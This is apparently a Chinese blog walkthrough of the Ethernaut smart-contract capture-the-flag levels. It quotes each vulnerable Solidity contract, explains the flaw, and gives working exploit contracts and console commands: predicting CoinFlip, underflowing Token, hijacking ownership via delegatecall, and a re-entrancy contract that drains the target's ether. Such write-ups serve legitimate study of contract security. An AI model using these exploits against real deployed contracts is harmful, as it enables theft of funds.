0.Hello Ethernaut ✔
跟着教程走
contract.info()
// "You will find what you need in info1()."
contract.info1()
// "Try info2(), but with "hello" as a parameter."
contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
contract.infoNum()
// 42
contract.info42()
// "theMethodName is the name of the next method."
contract.theMethodName()
// "The method name is method7123949."
contract.method7123949()
// "If you know the password, submit it to authenticate()."
contract.password()
// "ethernaut0"
contract.authenticate('ethernaut0')
1.Fallback ✔
2.Fallout ✔
3.Coin Filp
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这里直接给了代码,分析一下,
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
blockhash是一个全局变量,当是 256 个区块时,它获取并返回给定块的哈希值, block.number.sub(1) 代表最后一个块的号,由于函数在执行当中区块并未开采,所以调用最后一个而不是当前的。
他这里获取数值的方式是随机数值的上一个随机值然后除以固定的FACTOR,来获得进行判断是否正确
那么只需要使用相同的方法来预测下一次内容即可
poc
contract HackCoinFlip{
using SafeMath for uint256;
CoinFlip public coinFlipContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipContract) public{
coinFlipContract = CoinFlip(_coinFlipContract);
}
function guessFlip() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool guess = coinFlip == 1 ? true : false;
coinFlipContract.flip(guess);
}
}
部署在在线IDE,然后猜10次就可以了
可以通过在控制台输入contract.consecutiveWins(),来判断当前已经成功猜了几次
解决
4.Telephone
先看代码
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
非常简练,大概就是要将tx.origin等于msg.sender,就是交易地址等于交互地址,那么只需要写个poc就可以了。
这里首先console调用一下owner,获取msg.sender
contract Telephone {
function changeOwner(address _owner) public;
}
contract Caller {
Telephone k;
constructor(address victim) public {
k = Telephone(victim);
k.changeOwner(msg.sender);
}
}
部署即可
5.Token
代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
简单分析一下代码,没什么逻辑上的漏洞,所以从上往下看看他都有啥变量,定义了一个unit 的totalSupply类型,后面再调用中运行了一个-=_value,查了一下,貌似如果一个数减去比他大的一个数就会存在溢出。
Solidity 语言安全·整型溢出 – 知乎 (zhihu.com)
那直接给传一个就行了,解决。
contract.transfer(level,21)
Delegation
代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
题目说让我们读读delegatecall啥的,在官方文档查查
Search — Solidity 0.8.14 documentation (soliditylang.org)、
可以看到合约上有个pwn(),能够直接修改owner,delegatecall调用的时候调用上下文的方法,所以转账触发Delegation合约中的回调函数,然后address(delegate).delegatecall(msg.data);传入参数调用pwn()方法,将owner变成自己。
先尝试一下,不行
contract.sendTransaction({data: 'pwn'})
查了一下,貌似 Solidity 合约在内部使用 ID 而不是实际名称
Contract ABI Specification — Solidity 0.8.14 documentation (soliditylang.org)
根据文档,正确计算出传入的id,即可
contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)});
Force
题目基本没给任何源码,就要往他里面给他充钱…,查文档
Security Considerations — Solidity 0.8.14 documentation (soliditylang.org)
一个是给对面挖矿,一个是用selfdestruct这个方式,看看他能干什么
Introduction to Smart Contracts — Solidity 0.8.14 documentation (soliditylang.org)
根据文档,这样我们就可以通过建立一个合约去付款,然后直接销毁就可以了
代码:
contract ForceWriteup {
function ForceWriteup(address _address) payable public {
selfdestruct(_address);
}
}
value值非0就行了,因为的得让题目的地址有钱.解决,
Vault
代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
很明显,要获得password然后调用unlock以解锁,搜了一下文档.
区块链外部的所有观察者都可以看到合同中的所有内容.private 只会阻止其他合约访问和修改信息,但它仍然可以在区块链之外看到。
也就是说我们可以调用web3中的一些操作来获取数据
这里通过web3.eth.getStorageAt返回一个地址的指定位置存储内容,然后将其存入pwd的变量中.
web3.eth.getStorageAt(contract.address, 1, function(x, y) {pwd = y});
然后调用解锁即可.
解决.
King
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
主要还是transfer的一个机制.
(50条消息) solidity中的transfer、send、call(delegatecall)的区别和用法总结_比特币爱好者007的博客-CSDN博客_solidity transfer
就是如果给钱给失败了就会抛出异常,而程序却没有做关于异常的处理,那么首先让程序异常就是首要任务了.
那么让他异常的方式就是消耗完gas,那么看一下代码
king.transfer(msg.value) 触发了对 king 合约的消息调用,可以在这里强制异常,只需为负责该消息调用的初始交易设置低 gas 限制即可.
那么直接交易一个币子
contract.sendTransaction({value:web3.utils.toWei('1.01','ether')})
即可
Re-entrancy
参考地址:Ethernaut Hacks Level 10: Re-entrancy – DEV Community
代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
搜了一圈,是DAO攻击的一个类型题目,具体攻击操作如下
- 我们为X eth做提交;
- withdraw首次出触发后
- withdraw函数调用了我们的fallback发送eth。
- 我们的fallback为X eth进行第二次调用
- 步骤3和4重复多次;
- 最终,我们在fallback中停止调用提款,调用结束,交易成功,我们偷了一堆eth。
最后的话会消耗比较多的gas,所以写个计数器做一个限制即可.
先看一下当前的钱数
await getBalance(contract.address)
//0.01
那么我们调用链子
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract ReentranceAttack {
address public owner;
IReentrance targetContract;
uint targetValue = 1000000000000000;
constructor(address _targetAddr) public {
targetContract = IReentrance(_targetAddr);
owner = msg.sender;
}
function balance() public view returns (uint) {
return address(this).balance;
}
function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate.value(msg.value)(address(this));
targetContract.withdraw(msg.value);
}
function withdrawAll() public returns (bool) {
require(msg.sender == owner, "my money!!");
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call.value(totalBalance)("");
require(sent, "Failed to send Ether");
return sent;
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
targetContract.withdraw(targetValue);
}
}
}
即可让对方金钱变为0
Elevator
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
目的让top等于true,在接口的地址处调用合约来判断是否是最后一层.
只需要返回true和false来回交替大概就可以了.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
interface IElevator {
function goTo(uint _floor) external;
}
contract MyBuilding is Building {
bool public last = true;
function isLastFloor(uint _n) override external returns (bool) {
last = !last;
return last;
}
function goToTop(address _elevatorAddr) public {
IElevator(_elevatorAddr).goTo(1);
}
}
最后看下是否为true即可
Privacy
代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
跟前面的valut比较像,也是要通过 getStorageAt(...)
然后来获取内容值,这里直接获取截断解锁就行了,比较简单
key = await web3.eth.getStorageAt(contract.address, 5)
key = key.slice(0, 34)
contract.unlock(key)
Gatekeeper One(x)
代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
目的通过三个位置.
gateone(x)
跟第四关一样.直接打
然后后面就白给了….后续在研究
Gatekeeper Two(x)
打不动…
暂无评论内容